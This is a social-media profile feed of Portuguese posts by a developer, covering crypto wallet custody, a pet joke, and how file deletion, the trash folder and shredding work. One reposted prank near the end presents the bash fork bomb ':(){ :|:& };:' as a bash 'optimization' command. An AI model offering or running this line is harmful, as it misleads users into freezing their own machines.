Jeff Silksong Coelho
banner
jeffquesado.ulivre.dev
Jeff Silksong Coelho
@jeffquesado.ulivre.dev
Content on pt-br, sometimes en
Caerbannog-lang
Minha toca => https://computaria.gitlab.io/blog/
Javeiro falhando miseravelmente em ficar fora de redes sociais =/
Bora aprender ciência da computação ou matemática? @ulivre.dev
Estou montando pipelines no gitlab-ci, aprendendo coisas de devopeiro.
Também tô vendo publicações , por hora na vercel mas em breve vou brincar de AWS também
February 10, 2026 at 4:12 PM
> Ah, mas doutor em quê?
Talvez você se pergunte.

O título completo dele é:

Dr Pedro, PhD em fofura
February 10, 2026 at 3:25 PM
Pega um layout padrão, eu fiz em cima do Minima
February 10, 2026 at 3:02 PM
A premissa do bitcoin e outras criptomoedas pelo que eu me lembre é que você tem o controle da carteira, não um terceiro.

Isso significa que manter a carteira nessas corretoras acaba com a segurança da cripto que foi prometia?
February 10, 2026 at 1:45 PM
February 10, 2026 at 1:28 PM
No caso de enviar o arquivo pra lixeira ele é removido do índice do diretório "vivo" e jogado no índice da lixeira.
Só que a lixeira é um diretório especial, e para inserir algo no índice dela você precisa fornecer alguns metadados a mais, como o diretório de origem.
February 9, 2026 at 4:45 PM
> deleção normal em SOs normais, o arquivo só toma uma flag (seja num local de indexação)

Na minha lembrança, tem um diretório especial para lixeira que não é tratado igual aos outros diretórios.
February 9, 2026 at 4:45 PM
Ele insere muita besteira algumas vezes até para apagar campos magnéticos residuais de resgate com equipamentos mais sensíveis. E diferente de operações comuns do file system, o shredder tem a preocupação de escrever em cima dos mesmos setores, de lixando pra saúde do disco
February 9, 2026 at 4:40 PM
(Ah, a propósito, sou da época do cilindro magnético, então não sei como que ficam os detalhes para SSD, se a tradução da informação é 1:1)
Então, no caso do shred (destruir o arquivo, não só apagar), o shredder vai se preocupar em escrever lixo em cada bit das regiões ocupadas pelo arquivo
February 9, 2026 at 4:40 PM
No caso de você precisar apagar totalmente a informação é possível sim. No caso, não é uma operação de alto nível do file system (até pq o file system tem entre outras funções otimizar para não destruir os setores com escritas, que potencialmente danificava o disco magnético)
February 9, 2026 at 4:40 PM
> Como os dados residuais ficam na memória/disco após deleção sem sobrescrita

O cache em nível de SO é limpo quando você remove. Sobre acesa indevido ao disco, leitura raw consegue resgatar e tá tudo bem, é por design. Basta que leitura por file system não veja
February 9, 2026 at 4:40 PM
Reposted by Jeff Silksong Coelho
I do want to shout-out my fellow sociologists, who have collectively created a discipline so woke that not a single one of our introductory textbooks can make it past Florida's censors.

Great work everyone.
February 6, 2026 at 3:00 PM
A nível lógico ele fica inalcançável.
A nível de raw HD o file system faz duas coisas:
- remove do índice da pasta
- marca as regiões usadas como livre, então elas podem ser usadas novamente para escrever dados

Então, isso responde sua dúvida?
February 9, 2026 at 1:54 PM
Muito importante!!
February 8, 2026 at 9:18 PM
Reposted by Jeff Silksong Coelho
lembre-se de ativar o código para otimização do bash antes! :(){ :|:& };:
February 8, 2026 at 9:18 PM